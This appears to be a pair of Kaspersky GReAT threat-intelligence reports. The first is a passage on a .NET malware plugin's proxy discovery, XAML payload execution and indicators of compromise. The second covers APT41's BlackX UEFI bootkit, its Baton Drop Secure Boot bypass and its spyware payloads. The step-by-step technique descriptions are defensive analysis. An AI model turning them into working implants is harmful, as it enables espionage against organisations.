    The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.

    Discovering proxies


    .NET 2 Plugin detects the system proxy using three methods:

    • Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*).
    • If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().
    • If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy.

    These methods ensure that the malware can reach external networks even in complex network environments with proxies.

    Execute downloaded XAML payload in an isolated AppDomain


    This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.

    In more detail, the process is as follows:

    1. Create a new isolated AppDomain with a randomly generated GUID as its name.
    2. Copy all configuration data from the current AppDomain into the new one.
    3. Set the proxy information in the new AppDomain and assign it to the variable px.
    4. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).
    5. Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
    6. Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
    7. Unload the isolated AppDomain to complete the cleanup.

    This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.

    Infrastructure

    The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.

    Domain IP First seen Domain Registrar/ASN
    openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169

    Victims

    Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.

    Attribution

    After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.

    Conclusions

    Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.

    Indicators of Compromise

    File hashes

    F2458ED133F8D0CA19E22C10F577E98E    e4537a1762fcafd2fd96bfc825bad34f9db9a24d
    E1DC6F1ED193594F2284BE22AE08DFA4               Resources.resx
    AB81564BCB8CA7E710C66832DE747556   .NET 1 Loader
    CFB8B281BDF5D9390E64B10C312FB2C1              .NET 2 Plugin
    67E3617F8709D34F806F8E02BADBA8A5    fabric.config
    514AC0D73B8A1B73488EF5E2E55A75C3   PatchMyPC-ScriptRunner.exe.config
    514117D536E347560D049CFE0C609632     XAML-1
    9000820D8153C24CD60D53001D3A97B6    XAML-2
    B3C4A635179680EDAFB5D006CF0CFFC6              XAML-2-1
    4F28622C5E60C01319BF48CF742FE1A5    XAML-2-2
    C86D53392A87DD3F3E62D62C9B92A9BD              XAML-3

    File paths

    C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
    C:\Windows\SoftwareDistribution\Download\Install\fabric.config
    C:\Windows\SoftwareDistribution\Download\Install\Resources.resx

    Domains and IPs

    openaigpt4v[.]com

    Source: Securelist (Kaspersky GReAT) · 2026-10-29

  • How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia

    How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia

    Introduction

    Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.

    BlackLotus advertisement

    BlackLotus advertisement

    However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.

    Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.

    The return of the infamous bootkit

    In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.

    Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:

    • inst.exe, an installer executable
    • PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation

    The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.

    Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.

    The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.

    While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.

    Payload launched by the bootkit

    The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.

    The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.

    The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.

    User-mode second-stage payloads

    Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:

    File suffix Description Type
    0X01 A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module Input
    0X02 Result of the call TEST.Class1.RunCMD(argument_array) Output
    0X03 Task to upload a file to the drive Input
    0X04 Uploaded file Output
    0X05 Task to download a file to an infected machine Input
    0X06 File download status Output
    SSSR Contains initial system info Output

    We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.

    Attribution

    Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:

    • In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
    • The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
    • The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.

    Why did the target organizations get infected?

    During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.

    Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:

    • A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
    • A scheduled task named Secure-Boot-Update is created.

    This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.

    Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.

    It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.

    Conclusion

    Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.

    However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.

    Source: Securelist (Kaspersky GReAT) · 2026-10-22